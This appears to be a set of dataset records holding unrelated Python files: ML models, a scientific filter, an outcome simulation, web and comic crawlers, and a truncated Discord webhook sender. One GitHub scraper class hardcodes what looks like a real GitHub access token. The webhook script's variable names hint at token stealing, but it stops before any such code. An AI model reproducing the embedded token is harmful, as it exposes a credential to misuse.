# FM\n weights = self.w(one_hot_features) # [batch_size, num_features, num_units]\n\n sum_nzw = tf.reduce_sum(weights, 1) # [batch_size, num_units]\n squared_sum_nzw = tf.square(sum_nzw) # [batch_size, num_units]\n\n squared_nzw = tf.square(weights) # [batch_size, num_features, num_units]\n sum_squared_nzw = tf.reduce_sum(squared_nzw, 1) # [batch_size, num_units]\n\n fm = 0.5 * (squared_sum_nzw - sum_squared_nzw)\n\n if self.apply_batchnorm:\n fm = self.batch_norm_layer(fm, training=training)\n\n if self.apply_dropout:\n fm = self.fm_dropout(fm, training=training)\n\n # Dense layers on top of FM\n for i, layer in enumerate(self.dense_layers):\n fm = layer(fm)\n if self.apply_batchnorm:\n fm = self.dense_batch_norm[i](fm, training=training)\n if self.apply_dropout:\n fm = self.dense_dropout[i](fm, training=training)\n\n # Aggregate\n fm = self.final_dense_layer(fm) # [batch_size, 1]\n bilinear = tf.reduce_sum(fm, 1, keep_dims=True) # [batch_size, 1]\n weight_bias = tf.reduce_sum(self.w0(one_hot_features), 1) # [batch_size, 1]\n logits = tf.add_n([bilinear, weight_bias]) + self.bias\n\n return logits\n","repo_name":"analytics-ufcg/Deep4Rec","sub_path":"deep4rec/models/nfm.py","file_name":"nfm.py","file_ext":"py","file_size_in_byte":4416,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"} +{"seq_id":"72191086271","text":"import os\nimport img2pdf\nfrom os.path import isfile, join\nimport argparse\nap = argparse.ArgumentParser()\nap.add_argument(\"-pd\", \"--pd\", required = False, help = \"pdir\")\nap.add_argument(\"-d\", \"--d\", required = False, help = \"dir\")\nap.add_argument(\"-f\", \"--f\", required = False, help = \"file\")\nargs = vars(ap.parse_args())\nif(args[\"pd\"]):\n\tfor y in next(os.walk(args[\"pd\"]))[1]:\n\t\tonlyfiles = [f for f in os.listdir(args[\"pd\"]+y) if isfile(join(args[\"pd\"]+y, f)) and ('.jpg' in f or '.png' in f)]\n\t\tonlyfiles.sort()\n\t\tonlyfiles = [args[\"pd\"]+y+\"/\"+f for f in onlyfiles]\n\t\twith open(args[\"pd\"]+y+\"/\"+y+\".pdf\",\"wb\") as f:\n\t\t\tf.write(img2pdf.convert(onlyfiles))\n\t\t\tprint(\"Completed pdf at:\"+args[\"pd\"]+y+\"/\"+y+\".pdf\")\nelif(args[\"d\"]):\n\tonlyfiles = [f for f in os.listdir(args[\"d\"]) if isfile(join(args[\"d\"], f)) and ('.jpg' in f or '.png' in f)]\n\tonlyfiles.sort()\n\tonlyfiles = [args[\"d\"]+\"/\"+f for f in onlyfiles]\n\twith open(args[\"d\"]+\"/\"+args[\"d\"]+\".pdf\",\"wb\") as f:\n\t\tf.write(img2pdf.convert(onlyfiles))\n\t\tprint(\"Completed pdf at:\"+args[\"d\"]+\"/\"+args[\"d\"]+\".pdf\")\nelif(args[\"f\"]):\n\twith open(args[\"f\"]+\".pdf\",\"wb\") as f:\n\t\tf.write(img2pdf.convert(args[\"f\"]))\n\tprint(\"Completed pdf at:\"+args[\"f\"]+\".pdf\")\n# print (len(next(os.walk(\"/Volumes/LISA/New Doujin/\"))[1]))\n# mypath = \"/Volumes/LISA/New Doujin/(C94) [Nyuu Koubou (Nyuu)] Oidemase!! 2-jigen Fuuzoku Gakuen Dai 2 Kukaku (Various) [English]\"\n# onlyfiles = [f for f in os.listdir(mypath) if isfile(join(mypath, f))]\n# onlyfiles.remove(\".DS_Store\")\n# onlyfiles.remove(\"output.pdf\")\n# onlyfiles.sort()\n# onlyfiles = [mypath+\"/\"+f for f in onlyfiles]\n# with open(mypath+\"/output.pdf\",\"wb\") as f:\n# \tfor x in onlyfiles:\n# \t\tf.write(img2pdf.convert(onlyfiles))\n# \tprint(\"Completed pdf :\")","repo_name":"darknexxa/scrapperv2","sub_path":"imgtopdfv2.py","file_name":"imgtopdfv2.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37962104687","text":"from mpi4py import MPI\nimport sys\nimport numpy as np\nfrom comancpipeline.Tools import ParserClass\n\ncomm = MPI.COMM_WORLD\nsize = comm.Get_size()\nrank = comm.Get_rank()\n\nfrom run_average import main\n\nsources = ['TauA','CasA','CygA','jupiter']\nif __name__ == \"__main__\":\n\n \n parameter_fname = sys.argv[1]\n\n parameters = ParserClass.Parser(parameter_fname)\n\n filelist = np.loadtxt(parameters['Inputs']['filelist'],dtype=str)\n classinfo = parameters['Inputs']['classParameters']\n\n nfiles = len(filelist)\n step = nfiles//size\n start = rank*step\n end = (rank+1)*step\n if end > nfiles:\n end = nfiles\n\n main(parameter_fname, classinfo, start, end)\n","repo_name":"SharperJBCA/COMAPreduce","sub_path":"comancpipeline/scripts/general/batchrun.py","file_name":"batchrun.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"24716856726","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 1 11:52:55 2020\n\n@author: ISSAM\n\"\"\"\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom keras.optimizers import SGD\nfrom keras.models import Sequential\nfrom keras.layers import Dense, LSTM, Dropout, GRU, SimpleRNN\nfrom sklearn.preprocessing import MinMaxScaler\nimport matplotlib.pyplot as plt\n\n\ndata_path = r\"C:\\Users\\ISSAM\\Documents\\GitHub\\data\\datset\\AAPL_2006-01-01_to_2018-01-01.csv\"\ndataset_apple = pd.read_csv(data_path)\ndataset_apple_train = dataset_apple.iloc[:2768]\ndataset_apple_test = dataset_apple.iloc[2768:]\nreal_price_stock = dataset_apple.iloc[2768:,1:2].values\n#concatenate dataset\ndataset_total = pd.concat((dataset_apple_train['Open'],dataset_apple_test['Open']),axis=0)\ndataset = dataset_total[len(dataset_apple_train)-len(dataset_apple_test)-80:].values\ninputs = dataset.reshape(-1,1)\n\n\nscaler = MinMaxScaler(feature_range=(0, 1))\ninputs = scaler.fit_transform(inputs)\n\nX_test = []\nfor i in range(80,331):\n X_test.append(inputs[i-80:i,0])\nX_test = np.array(X_test)\nX_test = np.reshape(X_test,(X_test.shape[0],X_test.shape[1],1))\n#load_Model\nnew_model = tf.keras.models.load_model(r'C:\\Users\\ISSAM\\Documents\\GitHub\\data\\Stage_2A\\single_layer_rnn')\n\npredicted_stock_price = new_model.predict(X_test)\npredicted_stock_price = scaler.inverse_transform(predicted_stock_price)\n\n#visualisation result\nplt.plot(real_price_stock, color='red', label='Real APLL stock price')\nplt.plot(predicted_stock_price, color='blue', label='Predicted AAPLstock price')\nplt.title('AAPLL Stock Price prediction')\nplt.xlabel('Time')\nplt.ylabel('APPLE stock price')\nplt.legend()\nplt.show()","repo_name":"iyami60/datascience","sub_path":"Stage_2A/plot_data.py","file_name":"plot_data.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"5417755626","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n\"\"\"\n\n__author__ = \"Stefan Hendricks\"\n\n\nimport numpy as np\n\nclass ALSPointCloudFilter(object):\n \"\"\" Base class for point cloud filters \"\"\"\n\n def __init__(self, **kwargs):\n self.cfg = kwargs\n\n\nclass AtmosphericBackscatterFilter(ALSPointCloudFilter):\n \"\"\" A filter for removing backscatter from fog/ice crystals/ ... \"\"\"\n\n def __init__(self, filter_threshold_m=5):\n \"\"\"\n\n :param filter_threshold_m:\n \"\"\"\n\n super(AtmosphericBackscatterFilter, self).__init__(filter_threshold_m=filter_threshold_m)\n\n def apply(self, als):\n \"\"\"\n Line-wise outlier filter\n :param als:\n :return:\n \"\"\"\n\n # import matplotlib.pyplot as plt\n # x = np.arange(als.n_shots)\n\n # The filter work linewise\n for line_index in np.arange(als.n_lines):\n\n # 1 Compute the median elevation of a line\n elevations = als.elevation[line_index, :]\n line_median = np.nanmedian(elevations)\n\n # plt.figure(dpi=150)\n # plt.scatter(x, als.elevation[line_index, :], s=1, edgecolors=\"none\")\n\n # 2. Fill nan values with median elevation\n # This is needed for spike detection\n elevations_nonan = np.copy(elevations)\n elevations_nonan[np.isnan(elevations_nonan)] = line_median\n\n # Search for sudden changes (spikes)\n spike_indices = self._get_filter_indices(elevations_nonan, self.cfg[\"filter_threshold_m\"])\n\n # plt.scatter(x[spike_indices], als.elevation[line_index, spike_indices], s=2, edgecolor=\"red\", c=\"none\")\n # plt.plot(x, np.full(x.shape, line_median))\n # plt.show()\n\n # Remove spiky elevations\n als.elevation[line_index, spike_indices] = np.nan\n\n\n @staticmethod\n def _get_filter_indices(vector, filter_treshold):\n \"\"\" Compute the indices of potential spikes and save them in self.spike_indices \"\"\"\n\n # Compute index-wise change in data\n diff = vector[1:] - vector[0:-1]\n\n # Compute change of data point to both directions\n diff_right = np.full(vector.shape, np.nan)\n diff_left = np.full(vector.shape, np.nan)\n diff_right[1:] = diff\n diff_left[0:-1] = diff\n\n # Check for data change exceeds the filter threshold\n right_threshold = np.abs(diff_right) > filter_treshold\n left_threshold = np.abs(diff_left) > filter_treshold\n\n # Check where data point is local extrema\n is_local_extrema = np.not_equal(diff_right > 0, diff_left > 0)\n condition1 = np.logical_and(right_threshold, left_threshold)\n\n # point is spike: if change on both sides exceeds threshold and is local\n # extrema\n is_spike = np.logical_and(condition1, is_local_extrema)\n spike_indices = np.where(is_spike)[0]\n\n return spike_indices\n","repo_name":"simrit1/awi-als-toolbox","sub_path":"awi_als_toolbox/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"22003254591","text":"from unittest import result\nimport requests # sudo pip install requests \nimport collections \n\nclass GithubAPI:\n results = []\n raw = []\n issues_payload = {\n \"per_page\": 100,\n \"page\": 1,\n \"state\": \"all\",\n }\n auth = {\"Authorization\": \"token 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\"}\n\n def getIssues(self, url,pages):\n\n self.issues_payload = {\n \"per_page\": 100,\n \"page\": 1,\n \"state\": \"all\",\n }\n\n self.raw = []\n\n r = requests.get(url, params=self.issues_payload, headers=self.auth).json()\n \n for i in range(pages):\n self.raw += r\n\n if len(r) == 100:\n self.issues_payload[\"page\"] += 1\n r = requests.get(url, params=self.issues_payload, headers=self.auth).json()\n else:\n break\n \n for e in self.raw:\n print(\"Checking issue \" + str(e[\"number\"]))\n issue = collections.OrderedDict()\n issue[\"id\"] = e[\"id\"]\n issue[\"number\"] = e[\"number\"]\n issue[\"state\"] = e[\"state\"]\n issue[\"title\"] = e[\"title\"]\n # issue[\"description\"] = e[\"body\"]\n issue[\"comments_count\"] = e[\"comments\"]\n issue[\"labels_count\"] = len(e[\"labels\"])\n issue[\"user_name\"] = e[\"user\"][\"login\"]\n issue[\"created_at\"] = e[\"created_at\"]\n issue[\"updated_at\"] = e[\"updated_at\"]\n issue[\"closed_at\"] = e[\"closed_at\"]\n issue[\"state_reason\"] = e[\"state_reason\"]\n if not e[\"milestone\"]:\n issue[\"milestone\"] = \"null\"\n else:\n issue[\"milestone\"] = e[\"milestone\"][\"title\"]\n\n labels = []\n\n for label in e[\"labels\"]:\n labelIssue = collections.OrderedDict()\n labelIssue[\"issue_repo_url\"] = e[\"repository_url\"]\n labelIssue[\"issue_id\"] = e[\"id\"]\n labelIssue[\"issue_number\"] = e[\"number\"]\n labelIssue[\"label_id\"] = label[\"id\"]\n labelIssue[\"label\"] = label[\"name\"]\n labels.append(labelIssue)\n # self.results.append(labelIssue)\n\n issue[\"labels\"] = labels\n\n self.results.append(issue)\n\n return self.results\n\n\n ","repo_name":"osamah-abduljalil/rails-issues","sub_path":"DataScraping.py","file_name":"DataScraping.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24701510365","text":"import random\nimport pickle\nimport logging\nimport config\n\nimport numpy as np\nimport scipy.stats\n\nimport saver\n\n\ndef dot_norm(v, w):\n \"\"\"\n Normalized two vectors and returns their dot product.\n \"\"\"\n v_n = v/np.linalg.norm(v)\n w_n = w/np.linalg.norm(w)\n value = np.dot(v_n, w_n)\n return value\n\n\ndef simulate_outcomes(C, z, centroids, strengths, for_treatment=None):\n \"\"\"\n Simulates the outcome for a single unit/treatment pair.\n :param C: Weighting constant\n :param z: A unit in topic space\n :param centroids: Treatment centroids in topic space\n :param strengths: Treatment strength\n :param for_treatment: If None, the output is calculated for each treatment. If integer, all outputs are for\n the treatment with this id.\n :return: mu, y Where mu is the true treatment effect, and y is its noisy measurement.\n \"\"\"\n out_length = len(strengths)\n mu = np.zeros(out_length)\n y = np.zeros(out_length)\n std_dev = config.out_std\n\n if for_treatment is None:\n for treatment in range(out_length):\n dot_prod = np.sqrt(dot_norm(z, centroids[treatment]))\n mu[treatment] = C * (1-np.power(1 - 2*strengths[treatment], 2)) * dot_prod\n y[treatment] = mu[treatment] + np.random.normal(0, std_dev)\n else:\n dot_prod = np.sqrt(dot_norm(z, centroids[for_treatment]))\n for sample in range(out_length):\n mu[sample] = C * (1-np.power(1 - 2*strengths[sample], 2)) * dot_prod\n y[sample] = mu[sample] + np.random.normal(0, std_dev)\n\n return mu, y\n\n\ndef calc_treatment_probability(k, z, centroids):\n \"\"\"\n Returns the normalized weight of each treatment option.\n :param k: Weighting constant kappa. Higher k means stronger influence of proximity to centroid.\n :param z: A unit in topic space\n :param centroids:\n :return: Vector of probabilities for each treatment. Sums to 1.\n \"\"\"\n n_treatments = len(centroids)\n term = np.zeros([n_treatments], dtype=np.float64)\n\n for i in range(n_treatments):\n term[i] = np.power(np.e, k * dot_norm(z, centroids[i]))\n\n p = np.zeros([n_treatments])\n for i in range(n_treatments):\n p[i] = term[i] / sum(term)\n\n return p\n\n\ndef sample_treatment(probability_weights):\n \"\"\"\n Returns a non-negative integer identifying the treatment, selected according to the probability weights.\n :param probability_weights: Vector of weights summing to 1.\n :return: Treatment ID\n \"\"\"\n assert 0.99 < sum(probability_weights) < 1.01\n\n t_id = np.random.choice(range(len(probability_weights)), p=probability_weights)\n\n return t_id\n\n\ndef sample_treatment_strength(z, centroid_z):\n \"\"\"\n Returns a nonnegative number [0,1] biased by the dot product of the given vectors.\n :param z: Document vector in topic space\n :param centroid_z: Treatment centroids in topic space\n :return: Treatment strength\n \"\"\"\n mu = config.str_mean\n sig = config.str_std\n\n strength = np.sqrt(dot_norm(z, centroid_z))\n\n noise = scipy.stats.truncnorm.rvs((-strength - mu) / sig, (1 - strength - mu) / sig, loc=mu, scale=sig, size=1)\n\n noisy_strength = strength + noise\n\n return noisy_strength\n\n\ndef sparse_to_dense(x, n_dims):\n \"\"\"\n Takes a sparse and returns a dense vector.\n :param x: Sparse vector to transform\n :param n_dims: Number of dimensions of dense vector\n :return: Dense representation of sparse vec\n \"\"\"\n x_dense = np.zeros(n_dims)\n for i in x:\n x_dense[i[0]] = i[1]\n return x_dense\n\n\nif __name__ == '__main__':\n logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n random.seed(config.seed)\n np.random.seed(config.seed)\n\n ''' Get the default parameters. '''\n n_simulations = config.n_simulations\n kappa = config.k\n C = config.C\n treatment_types = config.treatment_types\n n_cf_samples = config.n_cf_samples\n n_parametric_treatments = np.sum(treatment_types)\n\n ''' Load data '''\n print(\"Loading corpus...\")\n corpus = pickle.load(open(config.lda_file, 'rb'))\n corpus_x = corpus['x']\n corpus_z = corpus['z']\n\n dim_x = corpus['dim_x']\n dim_z = corpus['dim_z']\n\n n_docs = len(corpus_x)\n sample_size = config.n_documents\n\n ''' Simulate n_simulations many samples of the data. '''\n n_treatments = len(treatment_types) # Here, the control group is also counted as treatment\n assert n_treatments <= sample_size\n\n # For training set and possibly test set:\n for set_type in config.sets:\n n_simulations = config.n_simulations[set_type]\n\n # Resimulate n_simulations times with the same data, but newly chosen treatment assignments/outcomes\n for sim in range(n_simulations):\n print(\"Simulation %d/%d of %s data\" % (sim + 1, n_simulations, set_type))\n\n # Sample X documents\n doc_ids = sorted(random.sample(range(n_docs), sample_size))\n\n # Sample centroids for each treatment\n treatment_centroids_z = []\n treatment_centroids_x = []\n all_centroid_ids = []\n for i in range(n_treatments):\n # Choose a random centroid\n centroid_id = None\n while centroid_id is None:\n proposal_centroid_id = random.randint(0, n_docs - 1)\n if proposal_centroid_id not in all_centroid_ids:\n centroid_id = proposal_centroid_id\n all_centroid_ids.append(proposal_centroid_id)\n # Centroid in topic space\n centroid_z = sparse_to_dense(corpus_z[centroid_id], dim_z)\n treatment_centroids_z.append(centroid_z)\n centroid_x = sparse_to_dense(corpus_x[centroid_id], dim_x)\n treatment_centroids_x.append(centroid_x)\n\n # For each document: get its data vector, treatment assignment, and outcome\n sample_x = np.zeros([sample_size, dim_x]) # Documents in word space; reduced dimensions\n sample_z = np.zeros([sample_size, dim_z]) # Documents in topic space; reduced dimensions\n sample_t = np.zeros([sample_size]) # Treatment assignment\n sample_mu = np.zeros([sample_size, n_treatments]) # True outcome\n sample_y = np.zeros([sample_size, n_treatments]) # Noisy outcome\n sample_strength = np.zeros([sample_size, n_treatments]) # Treatment strength\n # Additional samples for parametric treatments to cover the whole range of counterfactual options\n sample_mu_param = np.zeros([sample_size, n_parametric_treatments, n_cf_samples])\n sample_y_param = np.zeros([sample_size, n_parametric_treatments, n_cf_samples])\n sample_strength_param = np.zeros([sample_size, n_parametric_treatments, n_cf_samples])\n\n # Generate data for each sampled document\n for count, d in enumerate(doc_ids):\n x = sparse_to_dense(corpus_x[d], dim_x)\n sample_x[count] = x\n\n z = sparse_to_dense(corpus_z[d], dim_z)\n sample_z[count] = z\n\n p = calc_treatment_probability(kappa, z, treatment_centroids_z)\n t = sample_treatment(p)\n\n sample_t[count] = t\n\n # Calculate treatment strength for parametric treatments. For binary treatments it's 1.\n sample_strength[count] = np.ones([n_treatments])\n for i in range(n_treatments):\n # If treatment is parametric, calculate strength\n if treatment_types[i]:\n sample_strength[count, i] = sample_treatment_strength(z, treatment_centroids_z[i])\n\n mu, y = simulate_outcomes(C, z, treatment_centroids_z, sample_strength[count])\n sample_y[count] = y\n sample_mu[count] = mu\n\n # Additional parametric samples\n param_idx = 0\n for t_type in treatment_types:\n if t_type == 1:\n sample_strength_param[count, param_idx] = np.random.random(n_cf_samples)\n mu_pcf, y_pcf = simulate_outcomes(C, z, treatment_centroids_z,\n sample_strength_param[count][param_idx], for_treatment=t_type)\n sample_y_param[count, param_idx] = y_pcf\n sample_mu_param[count, param_idx] = mu_pcf\n param_idx += 1\n\n ''' Save data set '''\n to_save = {\n 'centroids_z': treatment_centroids_z, # For analysis purposes only\n 'centroids_x': treatment_centroids_x, # For analysis purposes only\n 'z': sample_z, # For analysis purposes only\n 'x': sample_x,\n 't': sample_t,\n 'y': sample_y,\n 'mu': sample_mu,\n 's': sample_strength,\n 'y_pcf': sample_y_param,\n 'mu_pcf': sample_mu_param,\n 's_pcf': sample_strength_param,\n 'treatment_types': treatment_types # Whether a treatment is parametric\n }\n\n file_name_modifyer = set_type + ''.join(str(e) for e in treatment_types) + \"_\" + str(sample_size) + \"k\" + \\\n str(kappa) + \"_\" + str(sim)\n\n # Save as numpy file\n if config.save_as_numpy:\n saver.save_as_npy(\"simulation_outcome.\" + file_name_modifyer, to_save)\n\n\n # Save as binary file\n if config.save_as_bin:\n saver.save_as_binary(file_name_modifyer, to_save)\n","repo_name":"a1247418/multiParamNewsBenchmark","sub_path":"simulate.py","file_name":"simulate.py","file_ext":"py","file_size_in_byte":9703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"43456868153","text":"# 웹에 요청한 결과를 보내주는 모듈\nfrom bs4 import BeautifulSoup\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException, ElementNotVisibleException, ElementNotInteractableException, UnexpectedAlertPresentException\n\nimport os, sys, traceback, platform\n\nfrom selenium.webdriver.firefox.webdriver import WebDriver\n\nimport src.img_util as img_util, src.util as util\nimport src.canvas_crawler as canvas_crawler, src.img_crawler as img_crawler\n\ndef clickNextButton(driver, conf) -> None:\n if conf['site_name'] == conf['comic_sites'][0]:\n #다음 페이지 버튼 감별\n if conf['next_button'] == 'next':\n #다음 페이지 버튼 요소 가져오기\n nextButton = driver.find_element_by_xpath(\"\"\"//a[@id=\"goNextBtn\"]\"\"\") \n \n #다음 페이지 버튼 클릭\n nextButton.click()\n elif conf['next_button'] == 'prev':\n #다음 페이지 버튼 요소 가져오기\n prevButton = driver.find_element_by_xpath(\"\"\"//a[@id=\"goPrevBtn\"]\"\"\")\n\n #다음 페이지 버튼 클릭\n prevButton.click()\n elif conf['site_name'] == conf['comic_sites'][1]:\n #다음 페이지 버튼 감별\n if conf['next_button'] == 'next':\n #다음 페이지 버튼 요소 가져오기\n nextButton = driver.find_element_by_xpath(\"\"\"//div[@class=\"nextpage\"]\"\"\") \n \n #다음 페이지 버튼 클릭\n nextButton.click()\n elif conf['next_button'] == 'prev':\n #다음 페이지 버튼 요소 가져오기\n prevButton = driver.find_element_by_xpath(\"\"\"//div[@class=\"prepage\"]\"\"\") \n\n #다음 페이지 버튼 클릭\n prevButton.click()\n #텍스트 파일에 버튼 입력 잘못함\n else :\n print('-' * 20)\n print('website.txt에서 버튼 입력이 잘못됐습니다. 확인해 주세요.')\n print('-' * 20)\n\n sys.exit()\n \n #페이지 url 저장\n conf['url'] = str(driver.current_url)\n\n conf['number'] += 1\n\n print('\\n-----' + str(conf['number']) + '번째 페이지로 이동 중' + '-----') \n\n\nclass Crawler:\n \"\"\"Manage method of crawling and set environments.\n \"\"\"\n def __init__(self) -> None:\n self.conf = util.read_files()\n self.driver = self.load_chrome_driver()\n # util.create_dir(self.conf['comic_name'], '')\n\n self.crawl()\n\n def print_summary(self) -> None:\n print('='*5, \"Sumamry\", '='*5)\n print(\"Starting number of comic=\", self.conf['number'])\n print(\"Url=\",self.conf['url'])\n print(\"Next button type = \", self.conf['next_button'])\n print(\"Comic name = \", self.conf['comic_name'])\n\n def load_chrome_driver(self) -> WebDriver:\n platform_name = platform.system()\n if platform_name == \"Windows\":\n driver = webdriver.Chrome(os.path.join('src', 'chromedriver.exe'))\n elif platform_name == \"Darwin\":\n driver = webdriver.Chrome(os.path.join('src', 'chromedriver'))\n elif platform_name == \"Linux\":\n driver = webdriver.Chrome(os.path.join('src', 'chromedriver_linux64'))\n \n return driver\n\n def crawl(self) -> None:\n \"\"\"Run cralwer\n \"\"\" \n while True:\n try :\n print('\\n' + '-' * 20)\n print(f\"Load {self.conf['number']} comic.\")\n \n # Load synchronized page.\n self.driver.get(self.conf['url'])\n\n print(f\"Completely load {self.conf['number']} comic.\")\n\n # Save all elements of web page.\n req = self.driver.page_source\n\n # Craete bs4 instance.\n bs_object = BeautifulSoup(req)\n \n # Determine to use canvas or img.\n canvas_data, canvas_exist, img_exist = canvas_crawler.canvas_search(self.driver)\n \n if canvas_exist and not img_exist :\n print(\"\\nRead via canvas elements\")\n \n img_util.delete_navi_bar(self.driver)\n\n canvas_crawler.fullshot_crop(self.driver, canvas_data, self.conf['number'])\n\n canvas_crawler.image_merge(self.conf['number'])\n\n elif not canvas_exist and img_exist :\n print(\"\\nRead via img tag\")\n \n img_util.delete_thumbnail_list(self.driver)\n \n # Save all elements of web page removed thumbnail list.\n req = self.driver.page_source\n\n # Craete bs4 instance for edited page source.\n bs_object = BeautifulSoup(req)\n\n img_crawler.save_image_tag(bs_object, self.conf)\n\n # Update number and url.\n clickNextButton(self.driver, self.conf)\n\n #다음 버튼을 누를 수 없을 때 1\n except NoSuchElementException :\n print('-' * 20)\n _, _ , tb = sys.exc_info() # tb -> traceback object \n print ('file name = ', __file__)\n print ('error line No = {}'.format(tb.tb_lineno))\n print('만화가 더 이상 없습니다')\n traceback.print_exc()\n break\n\n #다음 버튼을 누를 수 없을 때 2\n except ElementNotVisibleException :\n print('-' * 20)\n _, _ , tb = sys.exc_info() # tb -> traceback object \n print ('file name = ', __file__)\n print ('error line No = {}'.format(tb.tb_lineno))\n print('만화가 더 이상 없습니다')\n traceback.print_exc()\n break\n\n #다음 버튼을 누를 수 없을 때 3\n except ElementNotInteractableException :\n print('-' * 20)\n _, _ , tb = sys.exc_info() # tb -> traceback object \n print ('file name = ', __file__)\n print ('error line No = {}'.format(tb.tb_lineno))\n print('만화가 더 이상 없습니다')\n traceback.print_exc()\n break\n\n #이미지 서버 상태가 안 좋아서 이미지 다운이 안될 때\n except FileNotFoundError :\n print('-' * 20)\n print('이미지 로딩에 실패했습니다.')\n print('다시 페이지를 로딩합니다.')\n self.driver.navigate().refresh()\n self.conf['number'] -= 1\n traceback.print_exc()\n continue\n\n except UnexpectedAlertPresentException :\n print(\"마지막화입니다.\")\n traceback.print_exc()\n break\n #그 외 에러 처리\n except Exception as e :\n print('-' * 20)\n print('에러가 발생했습니다', e)\n _, _ , tb = sys.exc_info() # tb -> traceback object \n print ('file name = ', __file__)\n print ('error line No = {}'.format(tb.tb_lineno))\n traceback.print_exc()\n\n","repo_name":"naem1023/comic-crawler","sub_path":"src/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":7287,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"19350508477","text":"import requests\nimport bs4\nfrom bs4 import BeautifulSoup as soup\nimport pandas as pd\nimport time\n\ndef start_crawl():\n print(\"\\nWelcome to 'My First Web Crawler' by Miasia Jones\")\n\n df = pd.DataFrame(columns = ['title', 'date', 'url', 'html_content'])\n queue_stats_df = pd.DataFrame(columns = ['elaped_time', 'pages_queued'])\n visited_stats_df = pd.DataFrame(columns = ['elaped_time', 'pages_visited'])\n\n url_queue = []\n visited_urls = []\n\n # initializing seed URL\n seed_url = 'https://www.cc.gatech.edu/news/1'\n\n print(f\"\\nSetting seed URL to {seed_url}\")\n\n # get number of pages\n first_page = requests.get(seed_url)\n first_page_soup = soup(first_page.text, \"html.parser\")\n last_page = first_page_soup.find_all(\"li\", {\"class\":\"pager-last last\"})[0].a[\"href\"]\n number_of_pages = int(last_page.partition(\"page=\")[2]) + 1\n\n print(\"\\n[STARTING CRAWLER]\\n\")\n\n ### QUEUING URLS ###\n print(\"Finding how many URLs are linked to seed URL...\")\n\n t = time.time()\n\n for i in range(1, number_of_pages):\n page_number = i\n\n if page_number == 1:\n page = requests.get(seed_url)\n else:\n page = requests.get(seed_url + '?page=' + str(page_number))\n\n page_soup = soup(page.text, \"html.parser\")\n \n # get containers of article information\n class_names = ['views-row-odd views-row-first news-page-row', \n 'views-row-even news-page-row', \n 'views-row-odd news-page-row', \n 'views-row-even views-row-last news-page-row']\n \n all_containers = []\n for class_name in class_names:\n for container in page_soup.find_all(\"div\", {\"class\":class_name}):\n all_containers.append(container)\n\n visited_urls.append(page)\n\n for container in all_containers:\n title_container = container.find_all(\"h3\", {\"class\": \"news-title\"})\n article_url = 'https://www.cc.gatech.edu' + title_container[0].a[\"href\"]\n url_queue.append(article_url)\n\n queue_stats_df = queue_stats_df.append({'elaped_time':format(time.time() - t, '.2f'), 'pages_queued':len(url_queue)}, ignore_index=True)\n\n print(f\"Found {len(url_queue)} URLs linked to seed URL\")\n\n ### VISITING URLS ###\n t = time.time()\n\n for j, article_url in enumerate(url_queue):\n article_number = j + 1\n\n if article_url not in visited_urls:\n article_page = requests.get(article_url)\n article_page_soup = soup(article_page.text, \"html.parser\")\n\n # get article information\n article_date_container = article_page_soup.find_all(\"span\", {\"class\":\"date-display-single\"})\n if len(article_date_container) != 0:\n article_date = article_date_container[0].text\n else:\n article_date = None\n\n article_title = article_page_soup.find_all(\"h2\", {\"class\": \"title\"})[0].text\n\n main_content = article_page_soup.find_all(\"section\", {\"id\":\"main\"})[0]\n \n # outputting to console\n print(f\"Crawling URL {article_number} / {len(url_queue)}\", end=\"\\r\")\n\n visited_urls.append(article_url)\n df = df.append({'title':article_title, 'date':article_date, 'url': article_url, 'html_content': main_content}, ignore_index=True)\n\n\n visited_stats_df = visited_stats_df.append({'elaped_time':format(time.time() - t, '.2f'), 'pages_visited':len(visited_urls)}, ignore_index=True)\n\n print(\"\\nFinished crawling ---- Time Elapsed: {:.2f} s\".format(time.time() - t))\n # format article date column in df\n df['date'] = pd.to_datetime(df['date'], errors='coerce')\n df = df.sort_values(by=['date'], ascending=False)\n\n # convert dfs to csv for later use\n df.to_csv('../data/articles.csv')\n queue_stats_df.to_csv('../data/queue_stats.csv')\n visited_stats_df.to_csv('../data/visited_stats.csv')\n\n print(\"\\n[CRAWLING COMPLETE]\\n\")\n\nif __name__ == \"__main__\":\n start_crawl()\n","repo_name":"jonesmiasia/CoC-News-Article-Downloader-and-Viewer","sub_path":"code/web_crawler.py","file_name":"web_crawler.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18178010039","text":"import requests\r\nimport os\r\nfrom os import system\r\nsystem(\"title Discord Webhook Sender / Coded by Ezermoz#0001.\")\r\nprint(\"Made by Ezermoz#0001\")\r\nfrom discord_webhook import DiscordWebhook\r\ntokenstel4Wh = \"a\"\r\ntokenstelLogic = \"a\"\r\n\r\nprint(\"\"\" ___ _ __ _ __ __ __ __ ____ __ \"\"\")\r\nprint(\"\"\" / _ \\(_)__ _______ _______/ / | | /| / /__ / / / / ___ ___ / /__ / __/__ ___ ___/ /__ ____\"\"\")\r\nprint(\"\"\" / // / (_- \"\"\")\r\n\r\nlinesW = open(\"webhook.txt\").read().splitlines()\r\nwebhookintxt = len(linesW)\r\n\r\nwith open('message.txt') as 